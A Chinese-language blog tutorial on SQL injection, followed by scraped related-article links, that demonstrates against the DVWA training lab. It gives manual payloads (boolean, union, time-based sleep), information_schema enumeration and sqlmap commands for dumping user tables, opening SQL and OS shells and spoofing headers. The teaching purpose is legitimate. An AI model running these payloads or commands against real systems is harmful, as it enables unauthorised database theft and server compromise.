sql注入理解
一、SQL注入产生的原因和危害
1、原因
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序。而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
2、危害
1、拖库导致用户数据泄漏;
2、危害web等应用的安全;
3、失去操作系统的控制权;
4、用户信息被非法贩卖;
5、危害企业及国家安全。
二、数据库简单介绍
数据库有五类语言:分别是DQL/DML/DDL/TCL/DCL
2.1、DQL:
数据查询语言(凡是带有select关键字的都是查询语句)
select...
2.2、DML:
数据操作语言(凡是对表当中的数据进行增删改的都是DML)
insert delete update
insert 增
delete删
update 改
这个主要是操作表中的数据data.
2.3、DDL
数据定义语言
凡是带有create、drop、alter的都是DDL。
DDL主要操作的是表的结构。不是表中的数据。
create:新建,等同于增
drop:删除
alter:修改
这个增删改和DML不同,这个主要是对表结构进行操作。
2.4、TCL
事务控制语言
包括:事务提交(commit) 事务回滚(rollback)
2.5、DCL
数据控制语言
例如:授权(grant) 撤销授权(revoke)等
三、数据库相关操作
环境:OWASP
表1:dvwa.users
表2:wordpress.wp_users
表3:mysql.user
1、基础操作
1.1查看当前使用的数据库
mysql> select database();
+------------+
| database()
+------------+
| dvwa
+------------+
1.2、查看当前库中的表
mysql> show tables;
+----------------+
| Tables_in_dvwa
+----------------+
| guestbook
| users
+----------------+
1.3、查看表的结构
点击查看代码
mysql> show create table users\G
*************************** 1. row ***************************
Table: users
Create Table: CREATE TABLE `users` (
`user_id` int(6) NOT NULL DEFAULT '0',
`first_name` varchar(15) DEFAULT NULL,
`last_name` varchar(15) DEFAULT NULL,
`user` varchar(15) DEFAULT NULL,
`password` varchar(32) DEFAULT NULL,
`avatar` varchar(70) DEFAULT NULL,
`last_login` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TI
MESTAMP,
`failed_login` int(3) DEFAULT NULL,
PRIMARY KEY (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin
1.4、查看表内容
mysql> select user_id,first_name,last_name from users;
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
| 2 | Gordon | Brown
| 3 | Hack | Me
| 4 | Pablo | Picasso
| 5 | Bob | Smith
+---------+------------+-----------+
2、条件查询
注意:
指定条件查询,值需要加引号,如果不加引号表示字段,表中如果没有相同的字段那么就会出错,数字不能作为字段,默认当做值处理。
2.1、
mysql> select user_id,first_name,last_name from users where user_id=1;
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
+---------+------------+-----------+
2.2、
mysql> select user_id,first_name,last_name from users where first_name=admin;
ERROR 1054 (42S22): Unknown column 'admin' in 'where clause'
mysql> select user_id,first_name,last_name from users where first_name="admin";
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
+---------+------------+-----------+
2.3、
or一真全真 and一假全假
mysql> select user_id,first_name,last_name from users where first_name="" or 1=1; 获得当前表中的指定字段的所有内容
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
| 2 | Gordon | Brown
| 3 | Hack | Me
| 4 | Pablo | Picasso
| 5 | Bob | Smith
+---------+------------+-----------+
3、联合查询
注意:
3.1、union联合查询时,两张表中查询的字段需要一样
3.2、可以使用数字充当字段,因为数字不会报错,在不知道表的字段的情况下哦通过数字当字段一个一个去猜来判断字段数。
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6, from guestbook\G
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from guestbook' at line 1
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7 from guestbook\G
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7,8 from guestbook\G
*************************** 1. row ***************************
user_id: 2
first_name: Gordon
last_name: Brown
user: gordonb
password: e99a18c428cb38d5f260853678922e03
avatar: /hackable/users/gordonb.jpg
last_login: 2021-10-28 18:57:04
failed_login: 0
*************************** 2. row ***************************
user_id: 1
first_name: 2
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
3.3、limit 可以限制查询的数量,limit(开始位置,查询长短)
mysql> select * from users where user_id="2" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G
*************************** 1. row ***************************
user_id: 2
first_name: Gordon
last_name: Brown
user: gordonb
password: e99a18c428cb38d5f260853678922e03
avatar: /hackable/users/gordonb.jpg
last_login: 2021-10-28 18:57:04
failed_login: 0
*************************** 2. row ***************************
user_id: test
first_name: This is a test comment.
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
3.4、如果要查询自己想要获取的信息,可以把不要的表构造一个输出为FALSE的语句,这样不要的表的数据就查询不到,从而只获取自己想要的数据。
mysql> select * from users where user_id="x" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G
*************************** 1. row ***************************
user_id: test
first_name: This is a test comment.
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
4、information_schema库(数据库字典)
4.1、tables表可以查看数据库名和表名
table_schema字段 库名
table_name字段 表名
distinct 去重
mysql> select distinct table_schema from information_schema.tables limit 3\G
*************************** 1. row ***************************
table_schema: information_schema #库名
*************************** 2. row ***************************
table_schema: 5isns
*************************** 3. row ***************************
table_schema: 74cms
group by table_schema 按照库名分组
group_concat(table_name)分组后将表名连接
mysql> select table_schema,group_concat(table_name) from information_schema.tables where table_schema='dvwa' group by table_schema limit 3\G
*************************** 1. row ***************************
table_schema: dvwa
group_concat(table_name): guestbook,users #dvwa库中一共有两张表
4.2、columns表 查库名表名字段名
table_schema 库民
table_name 表名
column 字段名
mysql> select column_name from information_schema.columns where table_schema="dvwa" and table_name="users"; #查看DVWA库users表的列
+--------------+
| column_name
+--------------+
| user_id
| first_name
| last_name
| user
| password
| avatar
| last_login
| failed_login
+--------------+
四、SQL注入流程
1、判断是否有SQL注入漏洞
2、判断操作系统、数据库、和web应用类型
3、获取数据库信息包括管理员信息及拖库
4、加密信息破解,sqlmap可以自动破解
5、提升权限,获得sql-shell、os-shell、登陆应用后台
五、手动注入
5.1、基于错误的注入
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型。
作用:确认是否为sql注入点和判断数据库类型。
例如:
页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
通过页面反馈的报错信息发现这是MySQL数据库。
5.2、基于布尔的注入
布尔注入的思路是闭合SQL语句,构造or和and语句注释多余的代码
作用:可以获取当前表中返回字段的所有值。
原始语句:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
SQL注入的语句解析:
SELECT first_name, last_name FROM users WHERE user_id = ' ' or 0=0 # ';
第一个引号 ' 用于闭合前面的条件
or 0=0 表示为真的条件
"#" 注释后面所有的语句
5.3、基于union的注入
作用:通过联合前面的select查询语句,合并查询获取更多字段或者别的表的信息
concat()连接字段的作用
5.4、基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点
没有页面返回的报错信息
1' and sleep(5) # 输入一个条件为真的条件然后设置休眠时间,如果存在漏洞页面会刷新5秒再返回。
六、Sqlmap自动化注入
SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测
6.1、sqlmap用法
/root/.local/share/sqlmap/output/ 是sqlmap默认保存文件的位置
/usr/share/sqlmap/txt/wordlist.zip 是Sqlmap默认调用的字典文件
--dbs 获得所有数据库 -D 列出指定数据库 --tables获得所有表 -T 指定表名 --columns 获取所有列 -C指定列名 --dump获取当前表的所有数据 --count 获取有几行数据 -C 读取数据(例如-C “user,password”) --dump 导出数据
sqlmap -u 目标url
-r REQUESTFILE(requestFile)从一个文件中载入的HTTP请求
-v 显示详细信息 默认为1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示http请求
5、同时显示http响应头
6、同时显示Http响应页面
sqlmap --help|grep proxy查看命令的用法
--proxy= http:// 指定代理
--batch 自动化测试,帮助设置一些默认参数
--dbs 获取所有数据库
--users 获取所有用户
--dbms=mysql指定数据库
--current-user返回当前的用户
--data=“以post提交的参数,多个参数用&链接”
–delay 可以设定两个http请求间的延迟
–timeout 可以设定一个http请求超过对久判定为超时,默认是30秒
–p 指定你要测试的参数
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
--crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
--dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
6.2、如果存在sql注入,获取数据过程
获取数据库
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --dbs
获取当前数据库
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --current-db
获取数据库中的表
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa --tables
获取数据库中表的列
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users --columns
获取表中的数据
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T
users -C “username ,password” --dump
显示3条数据
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users -C "user ,password" --dump --start=1 --stop=3
--sql-shell 进入sql的交互模式(q退出)
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-shell
--os-shell 获取操作系统的权限(需要对一些目录有写权限才可以获取)
--sql-query=“select * from users”查询数据库
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-query=“select * from users”
6.3、设置http数据包的相关参数
--level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己 的payload。
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
--risk 探测风险等级,共有3级,默认为1
--risk 1 (默认):测试大部分测试语句
--risk 2 增加基于时间的测试语句
--risk 3 增加OR语句的SQL注入测试
--data=' '
data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --data=“username=111111&password=111111”
--cookie=' '
当web需要登录的时候,可以先注册账号,然后获取cookie参数,
注意:url要 完整,sessionid后面是=,多个条件用;隔开
--user-agent=' '
可以伪造user-agent值
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --user-agent=“aaaaaa” --dbs
--random-agent
会从sqlmap/txt/user-agents.txt 中随机产生user-agent头
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --random-agent --dbs
--referer-' '
sqlmap可以在请求中伪造http中的referer
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --referer=“http://www.baidu.com”
–delay
可以设定两个http请求间的延迟,设定为1的时候是1s,默认是没有延迟的
–delay=10 说明一分钟请求6次
–timeout
设定http请求超过多少秒为超时,默认30秒
测试指定的参数*******(面试会问)
–prefix
注入payload字符串前缀
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --prefix=" ')) "
后缀
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --suffix=" ')) – "
sql注入理解的更多相关文章
- 二阶SQL注入理解与体会
一:SQL注入分类 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 二:二者进行比较 0x01:一阶SQL注入: 1:一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻 ...
- SQL注入理解与防御
一.说明 sql注入可能是很多学习渗透测试的人接触的第一类漏洞,这很正常因为sql注入可能是web最经典的漏洞.但在很多教程中有的只讲‘或and 1=1.and 1=2有的可能会进一步讲union s ...
- 对于SQL注入的理解
从网上搜索的资料,结合自己的理解整理了一下,网友们在查看时若有发现问题,还请不吝指正,谢谢! 1.什么是SQL注入? ——官方说法:把SQL命令插入到web表单验证的输入框中,提交到服务器,以达到越过 ...
- SQL注入个人理解及思路(包括payload和绕过的一些方式)
首先本文主要是把我对SQL注入的一些坑和最早学习SQL注入的时候的一些不理解的地方做一个梳理. (本文仅为个人的一点皮毛理解,如有错误还望指出,转载请说明出处,大佬勿喷=.=) 什么是SQL注入呢? ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 什么是SQL注入?(理解)
SQL注入攻击是黑客对数据库进行攻击的常用手段之一.一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,注入者可以在表单中输入一段数据库查询代码并提交,程序将提交的信息拼凑生成一个完整s ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 关于SQL注入和如何防止
之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...
随机推荐
- http请求在https中使用
问题原因:HTTPS页面里动态的引入HTTP资源,比如引入一个js文件,会被直接block掉的.在HTTPS页面里通过AJAX的方式请求HTTP资源,也会被直接block掉的. 解决方案: <m ...
- Shell系列(27)- 条件判断之两个整数比较
两个整数之间比较 Liunx中,都是字符型,但是加了数值比较的选项,所以自动将他们转换成了整数型进行比较,不需要对这些参数进行变量转换或者重新声明 测试选项 作用 整数1 -eq 整数2 判断整数1是 ...
- Linux系列(33)- rpm命令管理之RPM包校验提取(5)
校验 格式 rpm -V 已安装的包名 选项: - -V:校验指定RPM包中的文件(verify) 例子 rpm -V httpd 后, 无任何提示, 代表该文件没有被做任何修改 # 判断本地的apa ...
- Redis限流
在电商开发过程中,我们很多地方需要做限流,有的是从Nginx上面做限流,有的是从代码层面限流等,这里我们就是从代码层面用Redis计数器做限流,这里我们用C#语言来编写,且用特性(过滤器,拦截器)的形 ...
- php laravel v5.1 消息队列
* install https://laravel.com/docs/5.1#installationcomposer create-project laravel/laravel msgq &quo ...
- hadoop报错
19/11/24 08:29:08 INFO qlh.MyMapreduce: ================this is job================= 19/11/24 08:29: ...
- python学习笔记(十三)-python对Excel进行读写修改操作
日常工作中会遇到Excel的读写问题.我们可以使用xlwt 模块将数据写入Excel表格,使用xlrd 模块从Excel读取数据,使用xlutils模块和xlrd模块结合对Excel数据进行修改.下面 ...
- 鸿蒙内核源码分析(内存管理篇) | 虚拟内存全景图是怎样的 | 百篇博客分析OpenHarmony源码 | v12.04
百篇博客系列篇.本篇为: v12.xx 鸿蒙内核源码分析(内存管理篇) | 虚拟内存全景图是怎样的 | 51.c.h .o 内存管理相关篇为: v11.xx 鸿蒙内核源码分析(内存分配篇) | 内存有 ...
- 分布式、微服务必须配个日志管理系统才优秀,Exceptionless走起~~~
前言 在真实的项目中,不管是功能日志.错误日志还是异常日志,已经是项目的重要组成部分.在原始的单体架构,通常看日志的方式简单粗暴,直接登录到服务器,把日志文件拷贝下来进行分析:而如今分布式.微服务架构 ...
- 实验4:开源控制器实践——OpenDaylight
实验4:开源控制器实践--OpenDaylight 一.实验目的 能够独立完成OpenDaylight控制器的安装配置: 能够使用Postman工具调用OpenDaylight API接口下发流表. ...